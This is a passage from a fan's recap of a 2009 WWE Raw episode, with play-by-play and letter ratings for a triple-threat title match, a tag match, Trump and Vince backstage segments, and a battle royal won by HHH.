Edge goes to the apron but Hardy slides to the floor to send Edge into the apron. He also guillotines Punk and loads up the Swanton. Edge crotches Hardy and loads up the spear on the champ. Punk counters into a powerslam for two. GTS attempt on Hardy but Jeff escapes. Edge tries to spear Punk but gets Hardy instead and everyone is down. Why Punk is down I’m not sure but whatever.

Edge covers Hardy for two but Punk makes the save. Punk charges at the Canadian in the corner but Edge moves, sending Punk up and over the corner and onto the steps where he injures his knee. In the ring Edge and Hardy cross body each other to buy some time. Hardy covers Edge but Punk makes the save on one leg. Small package gets two for Edge but he walks into the Twist of Fate. Here comes the Swanton which connects but Punk pulls Hardy out again and sends him into the steps, slides in and steals the pin on Edge to retain.

Rating: B-. Another fun match here which was good because the people in it were talented. That’s the main idea with most of these shows so it’s really not all that surprising. Punk would wind up holding the title over most of the summer until he lost it to Hardy I think at Night of Champions before getting it back and knocking Hardy out of the WWE. Fun stuff here.

Here’s Teddy post match who says that Punk will defend at The Bash against Jeff Hardy.

Legacy, the #1 contenders, are on commentary for the next match.

Primo/Carlito vs. Hart Dynasty

The Colons are the unified tag champions here. Cody calls the upcoming PPV the Great American Bash which I’m sure will be a fine or something. Primo and Hart-Smith start things off and it’s a totally screwed up rana from Primo. I think the fault is more on Hart-Smith but you get the idea. Off to Carlito and things break down. Backstabber takes down Hart-Smith and Legacy runs in for the DQ. Short and pretty bad.

Video on the European tour.

For the third time tonight, here’s Trump being revealed as the new owner and the announcement of no commercials next week.

Santino is in Vince’s office and tells him that he and Santina are different people. That would end next week I believe. Vince’s phone rings (and it has No Chance for a ringtone) and it’s Trump. There’s going to be an announcement after the battle royal. The call ends and Vince complains about egotistic billionaires. Santino points out the irony and puts his foot in his mouth a few times.

Battle Royal

HHH, John Cena, Cody Rhodes, Ted DiBiase, MVP, William Regal, Kofi Kingston, Big Show, The Miz, Matt Hardy

Winner gets Orton at The Bash. MVP takes a few extra seconds to come out for some reason. Kofi is US Champion here. After a quick break during the entrances we get a confusing graphic for Smackdown. The picture is of Edge but JR keeps saying Jericho. Anyway on to the match. Matt chills in the corner while the rest of the heels beat on the good guys.

Show goes for Miz but Cena wants to fight the big bald. Orton is watching on the stage. No one is really close to being eliminated at the moment so there isn’t much to say so far. Miz goes over to the apron but not out. Legacy is double teaming HHH in the corner. Show saves Cena for some reason instead of throwing him out. HHH fights Legacy off but Big Show starts going off on everyone. Matt is knocked to the apron so Show picks him up, pulls him back in and throws him right over for an elimination.

MVP jumps Show but is easily tossed as well. Chokeslam to Miz but he stays in the ring. Everyone on their feet goes after Big Show and manages to get him out ala Andre back in the day. We take a break and come back with six remaining. I think it was Miz that was eliminated. Kofi speeds things up but runs into the jumping knee from HHH. Legacy goes after HHH and gets him upside down but Cena makes the save. Again, why?

Rhodes saves DiBiase from elimination but walks into a HHH spinebuster. HHH and Cena slug it out to not much of a reaction at all. Both guys go for eliminations but they wind up clotheslining each other down. Kofi tries to fight off both Legacy members but gets clotheslined to the floor to get us down to Legacy, HHH, Regal and Cena. There goes Regal and it’s down to four.

It turns into two one on one matches which Legacy actually wins. Cena comes back and puts out DiBiase and HHH takes out Rhodes. Pedigree to Cena but Legacy comes in and beats HHH down. Miz pops up because he was never eliminated (nice touch actually) but he charges over the top rope without landing a single shot. Nice touch again. HHH throws Cena over and wins it.

Rating: C. Well you knew it would be HHH or Cena here so that outcome wasn’t all that surprising. The Miz bit was kind of cute and it’s good that he didn’t win. Not a horrible match here but it really wasn’t all that interesting. Either way it sets up HHH vs. Orton at the PPV….or maybe not.

Trump pops up and says that the match is next week and it’s Last Man Standing. This would be I believe their second of three last man standing matches.

Overall Rating: C-. There are some good matches here but overall this didn’t do much for me. At the end of the day it’s Orton vs. HHH again which isn’t interesting or new or anything like that. Nothing really happened here match wise and the Trump thing, while surprising at the time, was clearly not going to last long term which I remember being the general consensus back then. Not a horrible show and it’s certainly watchable, but there’s nothing worth seeing here.

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